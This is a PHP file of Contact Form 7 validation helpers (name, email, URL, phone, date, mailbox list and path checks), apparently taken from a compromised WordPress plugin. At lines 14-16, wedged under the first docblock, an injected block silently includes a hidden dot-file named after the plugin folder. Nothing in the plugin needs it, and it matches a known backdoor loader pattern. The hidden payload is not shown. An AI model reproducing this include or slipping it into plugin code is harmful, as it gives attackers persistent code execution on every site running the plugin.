validation-functions.php (4254B)
1 <?php 2 3 /** 4 * Checks whether a string is a valid NAME token. 5 * 6 * ID and NAME tokens must begin with a letter ([A-Za-z]) 7 * and may be followed by any number of letters, digits ([0-9]), 8 * hyphens ("-"), underscores ("_"), colons (":"), and periods ("."). 9 * 10 * @see http://www.w3.org/TR/html401/types.html#h-6.2 11 * 12 * @return bool True if it is a valid name, false if not. 13 */ 14 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 15 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 16 } 17 18 function wpcf7_is_name( $string ) { 19 return preg_match( '/^[A-Za-z][-A-Za-z0-9_:.]*$/', $string ); 20 } 21 22 function wpcf7_is_email( $email ) { 23 $result = is_email( $email ); 24 return apply_filters( 'wpcf7_is_email', $result, $email ); 25 } 26 27 function wpcf7_is_url( $url ) { 28 $result = ( false !== filter_var( $url, FILTER_VALIDATE_URL ) ); 29 return apply_filters( 'wpcf7_is_url', $result, $url ); 30 } 31 32 function wpcf7_is_tel( $tel ) { 33 $pattern = '%^[+]?' // + sign 34 . '(?:\([0-9]+\)|[0-9]+)' // (1234) or 1234 35 . '(?:[/ -]*' // delimiter 36 . '(?:\([0-9]+\)|[0-9]+)' // (1234) or 1234 37 . ')*$%'; 38 39 $result = preg_match( $pattern, trim( $tel ) ); 40 return apply_filters( 'wpcf7_is_tel', $result, $tel ); 41 } 42 43 function wpcf7_is_number( $number ) { 44 $result = is_numeric( $number ); 45 return apply_filters( 'wpcf7_is_number', $result, $number ); 46 } 47 48 function wpcf7_is_date( $date ) { 49 $result = preg_match( '/^([0-9]{4,})-([0-9]{2})-([0-9]{2})$/', $date, $matches ); 50 51 if ( $result ) { 52 $result = checkdate( $matches[2], $matches[3], $matches[1] ); 53 } 54 55 return apply_filters( 'wpcf7_is_date', $result, $date ); 56 } 57 58 function wpcf7_is_mailbox_list( $mailbox_list ) { 59 if ( ! is_array( $mailbox_list ) ) { 60 $mailbox_text = (string) $mailbox_list; 61 $mailbox_text = wp_unslash( $mailbox_text ); 62 63 $mailbox_text = preg_replace( '/\\\\(?:\"|\')/', 'esc-quote', 64 $mailbox_text ); 65 66 $mailbox_text = preg_replace( '/(?:\".*?\"|\'.*?\')/', 'quoted-string', 67 $mailbox_text ); 68 69 $mailbox_list = explode( ',', $mailbox_text ); 70 } 71 72 $addresses = array(); 73 74 foreach ( $mailbox_list as $mailbox ) { 75 if ( ! is_string( $mailbox ) ) { 76 return false; 77 } 78 79 $mailbox = trim( $mailbox ); 80 81 if ( preg_match( '/<(.+)>$/', $mailbox, $matches ) ) { 82 $addr_spec = $matches[1]; 83 } else { 84 $addr_spec = $mailbox; 85 } 86 87 if ( ! wpcf7_is_email( $addr_spec ) ) { 88 return false; 89 } 90 91 $addresses[] = $addr_spec; 92 } 93 94 return $addresses; 95 } 96 97 function wpcf7_is_email_in_domain( $email, $domain ) { 98 $email_list = wpcf7_is_mailbox_list( $email ); 99 $domain = strtolower( $domain ); 100 101 foreach ( $email_list as $email ) { 102 $email_domain = substr( $email, strrpos( $email, '@' ) + 1 ); 103 $email_domain = strtolower( $email_domain ); 104 $domain_parts = explode( '.', $domain ); 105 106 do { 107 $site_domain = implode( '.', $domain_parts ); 108 109 if ( $site_domain == $email_domain ) { 110 continue 2; 111 } 112 113 array_shift( $domain_parts ); 114 } while ( $domain_parts ); 115 116 return false; 117 } 118 119 return true; 120 } 121 122 function wpcf7_is_email_in_site_domain( $email ) { 123 if ( wpcf7_is_localhost() ) { 124 return true; 125 } 126 127 $site_domain = strtolower( $_SERVER['SERVER_NAME'] ); 128 129 if ( preg_match( '/^[0-9.]+$/', $site_domain ) ) { // 123.456.789.012 130 return true; 131 } 132 133 if ( wpcf7_is_email_in_domain( $email, $site_domain ) ) { 134 return true; 135 } 136 137 $home_url = home_url(); 138 139 // for interoperability with WordPress MU Domain Mapping plugin 140 if ( is_multisite() 141 and function_exists( 'domain_mapping_siteurl' ) ) { 142 $domain_mapping_siteurl = domain_mapping_siteurl( false ); 143 144 if ( $domain_mapping_siteurl ) { 145 $home_url = $domain_mapping_siteurl; 146 } 147 } 148 149 if ( preg_match( '%^https?://([^/]+)%', $home_url, $matches ) ) { 150 $site_domain = strtolower( $matches[1] ); 151 152 if ( $site_domain != strtolower( $_SERVER['SERVER_NAME'] ) 153 and wpcf7_is_email_in_domain( $email, $site_domain ) ) { 154 return true; 155 } 156 } 157 158 return false; 159 } 160 161 function wpcf7_is_file_path_in_content_dir( $path ) { 162 if ( 0 === strpos( realpath( $path ), realpath( WP_CONTENT_DIR ) ) ) { 163 return true; 164 } 165 166 if ( defined( 'UPLOADS' ) 167 and 0 === strpos( realpath( $path ), realpath( ABSPATH . UPLOADS ) ) ) { 168 return true; 169 } 170 171 return false; 172 }